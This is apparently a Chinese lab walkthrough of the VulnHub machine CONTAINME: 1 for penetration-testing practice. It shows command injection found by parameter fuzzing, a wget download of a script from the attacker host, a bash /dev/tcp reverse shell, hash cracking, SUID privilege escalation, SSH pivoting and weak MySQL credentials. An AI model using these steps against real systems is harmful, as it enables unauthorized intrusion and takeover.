准备:

攻击机:虚拟机kali、本机win10。

靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下载后直接vm打开即可。

知识点:命令执行、ffuf爆破参数、hxd使用、ida使用(逆向)、john爆破、可疑文件提权、mysql基本操作。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22、80、2222、8022端口,开启了ssh、http服务。

目录扫描:

使用dirmap对80端口进行目录扫描,发现了index.php、info.php、index.html文件。

访问index.php返回一个目录信息,在其源代码信息中出现隐藏信息:where is the path ?,猜测这里应该是存在参数并且可能执行了ls -al之类的系统命令。

参数爆破:

使用ffuf进行参数爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功获得参数名称:path。最后的-fs是为了过滤下无用的返回信息,需要根据具体情况进行调整,这里使用-fs 329就可以。

使用获得path参数输入命令:;id或|id进行测试,发现确实存在命令执行漏洞。

获取shell:

测试时直接使用bash、nc无法反弹shell,通过echo写入脚本文件也是无法写入成功的,后来使用命令:ls -al /查看了下目录权限,发现只有/tmp目录才具有写入权限,但是使用echo往/tmp写入仍是失败。

后来只能在本地写好脚本然后开启http服务,通过命令执行漏洞下载该脚本,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然后通过命令:;ls -al /tmp可以查看上传的脚本信息。如果不确定上传的目录,可以通过ls -al /查看下具有写入权限的目录,不过一般/tmp都可以写入。

#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'

写入脚本文件后在kali端开启对6688端口的监听,命令:nc -lvvp 6688,然后利用命令执行漏洞使用bash进行执行shell.sh文件,命令:bash /tmp/shell.sh,成功获得shell权限。

尝试提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,但是这个方法这里行不通。

原来想去/home目录下查找下flag文件,但是在/home/mike目录下发现了一个可疑文件,执行该文件结果如下。

使用strings、strace查看或调试该文件信息,但是均失败,显示不存在该命令,想用python开启web服务下载该文件也是失败。

逆向代码信息:

那就只能查看下该文件的二进制数据,命令:xxd -ps /home/mike/1cryptupx。

使用hxd将十六进制编码恢复并导出为1cryptupx文件。

使用ida打开1cryptupx文件,查看下其代码信息并对代码信息进行分析,发现是当我们输入的密码与hash值比对正确时时会执行/bin/bash,那就将hash值复制下来进行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密码:mike。

提权至root:

加上密码:mike执行1cryptupx文件,但是返回的仍是www-data权限。

那我们查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。

查看该文件权限显示当前账户具有可执行权限,使用获得密码:mike进行执行,成功获得root权限,但是未发现flag值,但是发现root后面显示是host1,猜测是否存在另一个虚拟镜像。

提权2:

查看主机ip发现两个新的ip地址:192.168.250.10、172.16.20.2,emmmm接着搞吧。使用nmap对该地址进行扫描,命令:nmap -sn 172.16.20.0/24,但是容器中未安装nmap,需要自己安装:apt install nmap,扫描完成之后发现了172.16.20.6。

扫描下主机172.16.20.6开放的端口对应的服务:nmap -A 172.16.20.6,显示开放了22端口和ssh服务。

虽然开放了ssh服务,但是我们缺少登录密码进行登录,但是在mike账户下发现了密匙信息,因此尝试下使用mike账户的密匙信息进行登录,命令:ssh mike@172.16.20.6 -i id_rsa,成功登录。

查看下当前开启的服务,命令:ss -tuln,发现了mysql服务。

这里尝试了下常用的弱密码,最后password成功连接数据库,命令:mysql -umike -ppassword,然后在account数据库中发现了root账户和mike账户的密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。

利用获得密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切换成root账户,然后在root账户下的/root目录下发现mike.zip文件。

解压mike.zip文件需要输入密码,尝试使用mike账户的密码:WhatAreYouDoingHere进行解密,获得解密后的文件并读取文件信息,成功获取到flag值。

vulnhub靶场之CONTAINME: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Kubernetes 日志:搭建 EFK 日志系统

    Kubernetes 中比较流行的日志收集解决方案是 Elasticsearch.Fluentd 和 Kibana(EFK)技术栈,也是官方现在比较推荐的一种方案. Elasticsearch 是一个 ...

  2. 第二章:视图层 - 5:HttpRequest对象

    每当一个用户请求发送过来,Django将HTTP数据包中的相关内容,打包成为一个HttpRequest对象,并传递给每个视图函数作为第一位置参数,也就是request,供我们调用. HttpReque ...

  3. Centos7安装redash

    一.更改yum国内源: (1)cd /etc/yum.repos.d/ sudo yum install wget (2)备份:sudo mv /etc/yum.repos.d/CentOS-Base ...

  4. Beats:使用 Filebeat 导入 JSON 格式的日志文件

    转载自:https://blog.csdn.net/UbuntuTouch/article/details/108504014 在今天的文章中,我来用另外的一种方式来展示如何导入一个 JSON 格式的 ...

  5. 洛谷P1638 逛画展 (尺取法)

    尺取法的经典题目: 博览馆正在展出由世上最佳的 mm 位画家所画的图画. 游客在购买门票时必须说明两个数字,aa 和 bb,代表他要看展览中的第 aa 幅至第 bb 幅画(包含 a,ba,b)之间的所 ...

  6. httpd常用配置之虚拟主机

    httpd常用配置 目录 httpd常用配置 虚拟主机: 相同IP不同端口 不同IP相同端口 相同IP相同端口不同域名 切换使用MPM(编辑/etc/httpd/conf.modules.d/00-m ...

  7. Windows Socket 接口简介

    Windows Socket接口是Windows下网络编程的接口,在介绍Windows Socket接口之前,首先要简单介绍一下TCP/IP协议和描述网络系统架构的 OSI模型,以及TCP/IP模型 ...

  8. JavaWeb完整案例详细步骤

    JavaWeb完整案例详细步骤 废话少说,展示完整案例 代码的业务逻辑图 主要实现功能 基本的CURD.分页查询.条件查询.批量删除 所使用的技术 前端:Vue+Ajax+Elememt-ui 后端: ...

  9. LOJ2325「清华集训 2017」小Y和恐怖的奴隶主

    题目链接 首先dp很显然,\(f(i,s)\)表示到了第i轮,各种血量人数的情况为s今后的期望攻击boss次数.那么有\(f(i,s)=\frac{1}{num+1}*\sum_{s->s'}( ...

  10. LcdToos如何在线对屏进行读写指令调试

    在实际屏调试过程中,工程师经常需要对屏的寄存器频繁进行参数修改和读取测试,LcdTools针对这个做了很好的支持,可以在线进行指令调试,大大提高调试效率. 打开点屏工程,连接PX01并使模组上电点亮. ...